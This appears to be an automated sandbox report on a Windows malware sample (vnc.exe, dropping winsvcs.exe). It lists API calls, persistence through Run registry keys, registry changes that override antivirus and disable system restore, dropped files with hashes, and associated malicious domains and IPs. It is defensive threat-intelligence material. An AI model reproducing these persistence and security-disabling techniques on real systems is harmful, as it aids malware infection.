Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	2_1_0040D000
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	2_1_0040D408
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoW,	2_1_00411609
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	2_1_0041163D
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	2_1_0040D2A4
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	2_1_0040D365
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: __crtGetLocaleInfoA_stat,	2_1_0041177C
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	2_1_0040D3CC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	2_1_0040EDB6
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	3_2_0040D05E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	3_2_0040D000
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	3_2_0040D408
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoW,	3_2_00411609
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	3_2_0041163D
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	3_2_0040D2A4
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	3_2_0040D365
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: __crtGetLocaleInfoA_stat,	3_2_0041177C
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	3_2_0040D3CC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	3_2_0040EDB6
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	3_1_0040D05E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	3_1_0040D000
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	3_1_0040D408
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoW,	3_1_00411609
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	3_1_0041163D
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	3_1_0040D2A4
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	3_1_0040D365
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: __crtGetLocaleInfoA_stat,	3_1_0041177C
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	3_1_0040D3CC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	3_1_0040EDB6
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	4_2_0040D05E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	4_2_0040D000
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	4_2_0040D408
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoW,	4_2_00411609
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	4_2_0041163D
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	4_2_0040D2A4
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	4_2_0040D365
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: __crtGetLocaleInfoA_stat,	4_2_0041177C
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	4_2_0040D3CC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	4_2_0040EDB6
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	4_1_0040D05E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	4_1_0040D000
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	4_1_0040D408
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoW,	4_1_00411609
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	4_1_0041163D
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	4_1_0040D2A4
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	4_1_0040D365
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: __crtGetLocaleInfoA_stat,	4_1_0041177C
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	4_1_0040D3CC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	4_1_0040EDB6
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: GetLocaleInfoA,	9_2_00404BA8

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe

Queries volume information: unknown VolumeInformation

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe

Code function: 8_1_00409463 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

8_1_00409463

Contains functionality to query windows version

Show sources

Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe

Code function: 9_2_00404C71 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

9_2_00404C71

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center AntiVirusOverride

Jump to behavior

Disables Windows system restore

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore DisableSR

Jump to behavior

Remote Access Functionality:

Contains VNC / remote desktop functionality (version string found)

Show sources

Source: winsvcs.exe, 00000002.00000002.628323003.07D4F000.00000004.sdmp

String found in binary or memory: RFB 003.005

Behavior Graph

Simulations

Behavior and APIs

Time	Type	Description
14:43:58	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services C:\Windows\T-495050303005030\winsvcs.exe
14:43:58	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services C:\Windows\T-495050303005030\winsvcs.exe
14:44:06	API Interceptor	26x Sleep call for process: winsvcs.exe modified

Antivirus Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vnc.exe	70%	virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label
9.1.159753404015476.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1031358
2.2.winsvcs.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen
2.1.winsvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
4.1.winsvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
4.2.winsvcs.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
8.1.153661691311498.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1031358
1.2.vnc.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
3.1.winsvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
11.2.winsvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
3.2.winsvcs.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
2.1.winsvcs.exe.390000.1.unpack	100%	Avira	TR/ATRAPS.Gen
1.1.vnc.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
9.2.159753404015476.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1033460

Domains

Source	Detection	Scanner	Link
ugoheoheufefu.info	7%	virustotal	Browse
iriototooeuwo.biz	10%	virustotal	Browse
riifndisojdoj.in	9%	virustotal	Browse

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
sso.anbtr.com	http://www.amazing-auroras.eu		malicious	Browse	195.22.28.222
sso.anbtr.com	http://crystalball.centerforpolitics.org/crystalball/articles/the-drive-for-25-an-updated-seat-by-seat-analysis-of-the-democrats-quest-in-the-house/		malicious	Browse	195.22.28.222

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CMNET-GDGuangdongMobileCommunicationCoLtdCN	HhROHJVJ6w	b4f9e1e82b710000ab5fc54de25b9966a0961efca3b8107e858446f52e26ed83	malicious	Browse	117.135.131.70
	PDFXCview.exe	40050153dceec2c8fbb1912f8eeabe449d1e265f0c8198008be8b34e5403e731	malicious	Browse	36.168.191.8
	A#U00f1adir tumi Gratis.exe	7b17a0bcfa140493d694f4a5b7aef1b501b35af0145c22c97d64554d7635371e	malicious	Browse	112.30.162.233
	base.apk	e6439a51964ea34d481f36c30c45d06d314eccd1bca0af3b8d7963ae08806945	malicious	Browse	221.130.183.24
	19messag.exe	8acf2b3fba6056561dceab29c067049a9f6a1cdeb6e4fde5cf3c551cfc9df411	malicious	Browse	110.236.52.8
	GaLB6Uui0W.MRG	11c0b42c3798de53c84e4a3a21fa06e36aa7ed0a7ee451178b73c9bdd6f7feb0	malicious	Browse	221.179.218.68
	QKx7J8ttMc.MRG	14c5bf82c6a672aaf8ce3b1cf16d1c1783d0c09e26f82cb7a82eb780eb20a738	malicious	Browse	221.179.218.68
	sora.x86	5fb5be061498ba5a3022d9465ba794153d4057202dac4d70a97f8a10b95d8731	malicious	Browse	183.250.104.137
	.exe	f17fddc0e9eadb98254eff4aa57d6019e990641d7a54e9eca7008f009f9e1ca3	malicious	Browse	211.138.223.134
	mssecsvr.exe	4914649b27682d6a1e8c4b1e7b5cdea7aed9d944c4b34b7c088de02856925e3b	malicious	Browse	183.219.5.99
	dark.arm	85e986f7eb9811fab1ea0ef3ba82409ee088d85aded37fe1472b6ab9fed00f35	malicious	Browse	39.132.5.47
	gu1Tz9ghET.dll	f782934d2ba6e2dcf48776b8c2838eb915379abeb95ca6dce5f38dfd08c7d84d	malicious	Browse	39.130.88.9
	aa4VuMLDx2.dll	61708a71764e8fffa846636a71d3330edaeeb7a396afdd4078f99cc64ea818c3	malicious	Browse	39.139.202.145
	base.apk	eef62f6fad78c9d389209135ade565d131e28b77c83560c0649052b7b54373dc	malicious	Browse	221.130.183.25
	mssecsvr.exe	458d19c4e0d41353ade3b5eb94815436ac911ad13c2fa525f753d5ef182f417f	malicious	Browse	117.167.204.67
	TOoNDDRD7S.MRG	c811810bdb326e2c5b4ed0be5f11a1fcdc84826e25e95cf28d9eb4b5824e3319	malicious	Browse	221.179.218.68
	ZodSwFD5zW.apk	0c06c751a0cf3af7a74365632e0edb4b97bb78618077e9c66c02407ea703e3ce	malicious	Browse	221.179.218.68
	QQ_9.0.1.23161_setup.exe	ccdace00aef7f11e6b2934abff2076451e5c4364a9755342cf1a81c46fec113e	malicious	Browse	120.204.10.221
	Y6b1zEgMK9.dll	d9fbd411c8d1d7e9574504f49deb5574557e1adda1eea7c39921a8782301e00f	malicious	Browse	111.48.8.128
	13attachmen.exe	230087e28a08b88d7d8a4fa8749b06e9070eaefbb6b99122e78e24aa4768ab0a	malicious	Browse	211.138.223.134
RIPE-NCC-ASReseauxIPEuropeensNetworkCoordinationCentre	31readm.exe	e660652da2afaaf25c16a916eff9b49d9a398473958aac3b67c65a08e63c359e	malicious	Browse	193.32.170.126
RIPE-NCC-ASReseauxIPEuropeensNetworkCoordinationCentre	12.htm .exe	4f8e3c28485dc3c818157af807fc3e6d37a7c201ad59c20af4e808899e80543e	malicious	Browse	193.0.21.18
ELISA-ASHelsinkiFinlandFI	67UNXw2fH9a5.exe	96a4d8b63cd0c47be83d61d951e1c641d40fcba12e54a4e595394e8accfe51eb	malicious	Browse	192.163.86.3
	5messag.exe	db7dd93912eb5b8bd8e4cfd25c4995c5812888ca852fe2e8ed25090f62302b78	malicious	Browse	192.163.86.16
	1document.exe	aad6fbd475ca510d223368fd867b43f0be111a1b5b65e90c4a6159f8c4f405b8	malicious	Browse	192.163.86.3
	53fil.exe	f54e2f36582471016f14fc21b4e377da19d9af1e8aad6d79aa907779674c0e91	malicious	Browse	157.154.231.154
	5FedEx_ID_00000857186.doc.wsf	5d311805c74b29e47f268d9d72112111eaf44fc715c66dfce8ae203f70b2181d	malicious	Browse	91.156.232.23
	53text.exe	46737657698ad666d087fbabf22cdb74bdd7c4010da3038a1817b8e8684705cc	malicious	Browse	192.163.86.3
	47documen.exe	552051f248be92b5791ac421a10c2b438b1fae56272e27c58e4a55577319e51b	malicious	Browse	192.163.86.3
	10Tex.exe	2dbe663114c789c81a6288844e94a076c416bef174f8b1fc6efad431e3a6b169	malicious	Browse	192.163.86.23
	gu1Tz9ghET.dll	f782934d2ba6e2dcf48776b8c2838eb915379abeb95ca6dce5f38dfd08c7d84d	malicious	Browse	194.188.30.154
	41uptight.com.txt .exe	bfb43ad0eb70e5baa372fa78c6852e802769fc8515620489aded7b217fb30356	malicious	Browse	192.163.86.19
	34messag.exe	6ff785596923289ea75224bc794c623a69e6b38ae1218cc3b5d5df5bfae038cd	malicious	Browse	192.163.86.3
	5kaio.fernandes@sonicwe.exe	1dfda3e82b96aeeae7815d7e9e9754386df68d48ec8054312c38916931a75f95	malicious	Browse	192.163.86.3
	25transcrip.exe	c84b5f20a5d7aadda8e37ee8425eccba605511c2135a92c5c87068fd9ed43022	malicious	Browse	192.163.86.18
	http://abovefashion.com/license/backup/info/		malicious	Browse	2.19.12.40
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	17messag.exe	5de90eb1d48f66c1cc6eee605d3d42e0bb3d26b1290867a64e2c72371eab5aeb	malicious	Browse	27.212.44.19
	57wSUt2TdhHh.exe	399fcc38f8a477d0a395860e498128118db170318780c22efcedf5fde53bbbd5	malicious	Browse	27.195.175.178
	45vyFq1d3pLv.exe	ef6d4446ca8d10d09f65da4fc7a1966f6df3420d80c863bb46a486fb743374ba	malicious	Browse	112.227.149.128
	17transcrip.exe	fcdd415482fe145a3bbc65695dfde635a87de3a60aa28d93b8d4810761388d54	malicious	Browse	60.211.123.70
	35ghostviewer@youtube.exe	119f4ad0764757cba8432572e7462f426f285756c35854adee44e38865e77560	malicious	Browse	36.249.125.10
	17youtube.exe	bebe448ab2948dccd545242a5b0455426fdf585b036a145156028a52dc1dbf4b	malicious	Browse	119.191.60.130
	http://61.158.162.205:6254/dfgha.exe		malicious	Browse	61.158.162.20
	95rM9sWgEau.exe	beb558d569adcb44e2660c31a08ad31dbdddef992a3bca8dbe008366deda1d58	malicious	Browse	112.240.35.227
	51Delivery_Notification_00121801.doc.wsf	faba2b71f4ae95ff92dd05aa0779624427197fafe4633750aae98c3320788e73	malicious	Browse	101.27.70.63
	.exe	7018a6874a91b5c801e86592cff3aa173a726ca868f0ff23e8d1faf812c416cc	malicious	Browse	27.200.178.95
	9youtube.exe	89be3f85276fb02dec0df7bf42943327b70c84c972d2fc4e208e3b16801e42b8	malicious	Browse	112.245.64.244
	.exe	4eb463d7be55e26d17318876f1d61d2935c091fe9c0fc8f1fb3398f59cbb500e	malicious	Browse	112.252.97.179
	48F6NAjI8oHO.exe	5062574f8fd04e36098e7f259282c5584106efea6a6cff451be0f65e73179975	malicious	Browse	175.43.136.200
	.exe	7287ccb419ea028468d75b788aa259b0ab3099981ffd1a9a4d19ccb2f4baf236	malicious	Browse	124.133.190.24
	39youtube@youtube.exe	49ed8c2b1545254d01ac97e133f5b2b617fab3fe8e976879ac51c117b0d2bd73	malicious	Browse	27.201.130.155
	47nt.exe	8d9f732103068cf9e3475246f45f8176649cf17df65690fafd526221be3ac2fd	malicious	Browse	60.211.123.70
	11attachment.htm .exe	e2c4439a45d35d57794fc7a42f17a2ca96a67f2e34a8886d7b2c7c469394f8de	malicious	Browse	27.200.82.232
	67Messag.exe	4ef53f09e1cb89f6076de600c18b015de2993fd87e542a5f6d170b55feda9428	malicious	Browse	27.200.82.232
	13attachment.exe	5e0a3f7a66f410005055c62067a5721a3950aa05d68fc60f50d4d31adac35d49	malicious	Browse	119.191.60.130
	.exe	c69ff76a745235ea29ce9e36cfeb0422fe0ec16eb0915b9a5f365bb33df5705a	malicious	Browse	123.131.45.95
TimCelularSABR	PDFXCview.exe	40050153dceec2c8fbb1912f8eeabe449d1e265f0c8198008be8b34e5403e731	malicious	Browse	191.172.45.209
	z1FU2FSzew.dll	7a3162a8c490d22527077931ee8b8c2c567d61272bd3d798e5aa7631870922aa	malicious	Browse	179.73.64.110
	L4bJ3V3Ata.dll	c7efcfb0cae5e25561e8d6ccf2af21d4c66a1c4a75da91653589f71bb108849d	malicious	Browse	191.225.150.155
	mssecsvr.exe	458d19c4e0d41353ade3b5eb94815436ac911ad13c2fa525f753d5ef182f417f	malicious	Browse	177.164.71.40
	gmdfg.exe	d101b3069aa75461c30def36a407f8b20a6d49892a1b6ec3df683fa034bde20d	malicious	Browse	191.128.36.55
	vz8f2cSvNK.dll	13d76f9a36c8e0a3293580b017bd5c703081c305cbba9800111de89fccba8019	malicious	Browse	177.151.140.137
	17joe_bloggs@testemai.exe	ed98c65926bd20c93877643230205054a4ba80b0dadb6aec47aa061ef2843122	malicious	Browse	189.119.249.73
	vnc.exe	1646c8b7d3b5d04d471a88636ea9ac45ff46b82445e3b5af8f648acdc561a5a3	malicious	Browse	177.30.110.130

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\ProgramData\Microsoft\Windows\Start Menu\winsvcs.exe	vnc.exe	1646c8b7d3b5d04d471a88636ea9ac45ff46b82445e3b5af8f648acdc561a5a3	malicious	Browse
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\winsvcs.exe	vnc.exe	1646c8b7d3b5d04d471a88636ea9ac45ff46b82445e3b5af8f648acdc561a5a3	malicious	Browse
C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe	vnc.exe	1646c8b7d3b5d04d471a88636ea9ac45ff46b82445e3b5af8f648acdc561a5a3	malicious	Browse
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe	vnc.exe	1646c8b7d3b5d04d471a88636ea9ac45ff46b82445e3b5af8f648acdc561a5a3	malicious	Browse
C:\Windows\T-495050303005030\winsvcs.exe	vnc.exe	1646c8b7d3b5d04d471a88636ea9ac45ff46b82445e3b5af8f648acdc561a5a3	malicious	Browse

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Startup

System is w7_1

vnc.exe (PID: 3232 cmdline: 'C:\Users\user\Desktop\vnc.exe' MD5: 642C7AD7B1608F00BA6159250B41EF75)

winsvcs.exe (PID: 3260 cmdline: C:\Windows\T-495050303005030\winsvcs.exe MD5: 642C7AD7B1608F00BA6159250B41EF75)

153661691311498.exe (PID: 11380 cmdline: C:\Users\user~1\AppData\Local\Temp\153661691311498.exe MD5: B7A9FDDD0F3B5C579FBE25C3909744C2)

winsvcs.exe (PID: 11940 cmdline: unknown MD5: B7A9FDDD0F3B5C579FBE25C3909744C2)

159753404015476.exe (PID: 11832 cmdline: C:\Users\user~1\AppData\Local\Temp\159753404015476.exe MD5: 2CDD23D5E838B9E1A1DFE7B7F1676D95)

winsvcs.exe (PID: 3276 cmdline: 'C:\Windows\T-495050303005030\winsvcs.exe' MD5: 642C7AD7B1608F00BA6159250B41EF75)

winsvcs.exe (PID: 3288 cmdline: 'C:\Windows\T-495050303005030\winsvcs.exe' MD5: 642C7AD7B1608F00BA6159250B41EF75)

cleanup

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe
Process:	C:\Users\user\Desktop\vnc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	172544
Entropy (8bit):	6.815358159405711
Encrypted:	false
MD5:	642C7AD7B1608F00BA6159250B41EF75
SHA1:	7457BAFF6C5EE8B66E588F96FA5CD818525061E5
SHA-256:	1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
SHA-512:	ED49CFC67BB9CC6C491C4FB2E34EDE2DE88A2C724BAD884831EA1D13DD78E470C632AF041EE4595AE33881EB2417AF2C166375A634DC4E324B1A33954A2B3FA9
Malicious:	true
Joe Sandbox View:	Filename: vnc.exe, Detection: malicious, Browse
Reputation:	low

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\winsvcs.exe
Process:	C:\Users\user\Desktop\vnc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	172544
Entropy (8bit):	6.815358159405711
Encrypted:	false
MD5:	642C7AD7B1608F00BA6159250B41EF75
SHA1:	7457BAFF6C5EE8B66E588F96FA5CD818525061E5
SHA-256:	1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
SHA-512:	ED49CFC67BB9CC6C491C4FB2E34EDE2DE88A2C724BAD884831EA1D13DD78E470C632AF041EE4595AE33881EB2417AF2C166375A634DC4E324B1A33954A2B3FA9
Malicious:	true
Joe Sandbox View:	Filename: vnc.exe, Detection: malicious, Browse
Reputation:	low

C:\ProgramData\Microsoft\Windows\Start Menu\winsvcs.exe
Process:	C:\Users\user\Desktop\vnc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	172544
Entropy (8bit):	6.815358159405711
Encrypted:	false
MD5:	642C7AD7B1608F00BA6159250B41EF75
SHA1:	7457BAFF6C5EE8B66E588F96FA5CD818525061E5
SHA-256:	1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
SHA-512:	ED49CFC67BB9CC6C491C4FB2E34EDE2DE88A2C724BAD884831EA1D13DD78E470C632AF041EE4595AE33881EB2417AF2C166375A634DC4E324B1A33954A2B3FA9
Malicious:	true
Joe Sandbox View:	Filename: vnc.exe, Detection: malicious, Browse
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\153661691311498.exe
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	163328
Entropy (8bit):	6.654783568272433
Encrypted:	false
MD5:	B7A9FDDD0F3B5C579FBE25C3909744C2
SHA1:	F9575991F7853E9E96848D762AAB786E6BAD1216
SHA-256:	34C771C959344E578185CD5AC94B8CA6F98A711097F3AAFDAA965857AC6E6DDF
SHA-512:	1F880FCF940CF19D9BCEED886D022D8DFE32E1635C7901E69FA29726ECECF6D29F4B8C83C94B53EED5CC232F1A6E20A429E961C4EF1430595EBB24E4C908569C
Malicious:	false
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\159753404015476.exe
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	204288
Entropy (8bit):	7.132815785284241
Encrypted:	false
MD5:	2CDD23D5E838B9E1A1DFE7B7F1676D95
SHA1:	3DC10897FDD02446BB5F4DE94C00F88671B00C44
SHA-256:	DD01B29CC6098D6A6A5884F27BF1F5E452B5B4898F45B8D2B1A880DE2C5174CC
SHA-512:	BC611264B0F162CACA66125B64DA631B9FB611025497B8535724859E93F19D0D991D187A28DB48DA823E5513464DF37CA8AF18675F83E312BDEF0BF6D416E563
Malicious:	false
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\393531722713539.exe
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	483708
Entropy (8bit):	6.350188314471885
Encrypted:	false
MD5:	AD2A3371FF0263075AA3AEB2C132C8A1
SHA1:	1B9C82EB6A9CD78C16A918F9A5C81C8579777F28
SHA-256:	349B99B3C4552CF341659B3ACCD8BD260ACF49B43980245E81E20D08E8148DB7
SHA-512:	7D09E42DC450CEED3107D6964D8CFCC4AE1ACBA88CD08CC07A3E91B577329A5FF53B5802659B88B782E4BCF9803B481B4AAB2C0EC12B8DCC4EFE6DE9CBA9A68A
Malicious:	false
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	172544
Entropy (8bit):	6.815358159405711
Encrypted:	false
MD5:	642C7AD7B1608F00BA6159250B41EF75
SHA1:	7457BAFF6C5EE8B66E588F96FA5CD818525061E5
SHA-256:	1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
SHA-512:	ED49CFC67BB9CC6C491C4FB2E34EDE2DE88A2C724BAD884831EA1D13DD78E470C632AF041EE4595AE33881EB2417AF2C166375A634DC4E324B1A33954A2B3FA9
Malicious:	false
Joe Sandbox View:	Filename: vnc.exe, Detection: malicious, Browse
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\82IQJX79\t[1].exe
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	163328
Entropy (8bit):	6.654783568272433
Encrypted:	false
MD5:	B7A9FDDD0F3B5C579FBE25C3909744C2
SHA1:	F9575991F7853E9E96848D762AAB786E6BAD1216
SHA-256:	34C771C959344E578185CD5AC94B8CA6F98A711097F3AAFDAA965857AC6E6DDF
SHA-512:	1F880FCF940CF19D9BCEED886D022D8DFE32E1635C7901E69FA29726ECECF6D29F4B8C83C94B53EED5CC232F1A6E20A429E961C4EF1430595EBB24E4C908569C
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BP527HB6\m[1].exe
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	484227
Entropy (8bit):	6.349983174975491
Encrypted:	false
MD5:	9488C2308A3CEDC5DA21F9A80812CDDA
SHA1:	1765E1B0FD2E1C1635C252CCD52F5CE09F4AC4CC
SHA-256:	4EE41EEF9D7DC53C525401497818342C1703939E97653B1CA28363AE9E71684F
SHA-512:	59449E3DC886E71397E18864E50D093D24F84AB3C15EAFBFE0E4D117F0657D7B17714D8CBE4678060703ABAF5A169C540EB48BECCDE5ED417B5874CBB9277313
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IDHA08HK\p[1].exe
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	204288
Entropy (8bit):	7.132815785284241
Encrypted:	false
MD5:	2CDD23D5E838B9E1A1DFE7B7F1676D95
SHA1:	3DC10897FDD02446BB5F4DE94C00F88671B00C44
SHA-256:	DD01B29CC6098D6A6A5884F27BF1F5E452B5B4898F45B8D2B1A880DE2C5174CC
SHA-512:	BC611264B0F162CACA66125B64DA631B9FB611025497B8535724859E93F19D0D991D187A28DB48DA823E5513464DF37CA8AF18675F83E312BDEF0BF6D416E563
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\21LL1CZY.txt
Process:	C:\Windows\T-495050303005030\winsvcs.exe
File Type:	ASCII text
Size (bytes):	147
Entropy (8bit):	4.414537009042185
Encrypted:	false
MD5:	CDD936F40A15D3EE026F4FF67A83A577
SHA1:	9EA6949276ADD8D2343095F81096B1A769E27C75
SHA-256:	785D6AD114E9E976B179A94E08D60161AC17A9D77C4511B723F19B743C32D3AD
SHA-512:	1B9B808130925B644F7B0A4FC29A755FB72643734E50A61A1BDC0FCA0F80ADC92C7655AC3B34DB9340B0E7FEAAD00AB5FB9AE6DA729E04C1B3D3A721111A8DF4
Malicious:	false
Reputation:	low

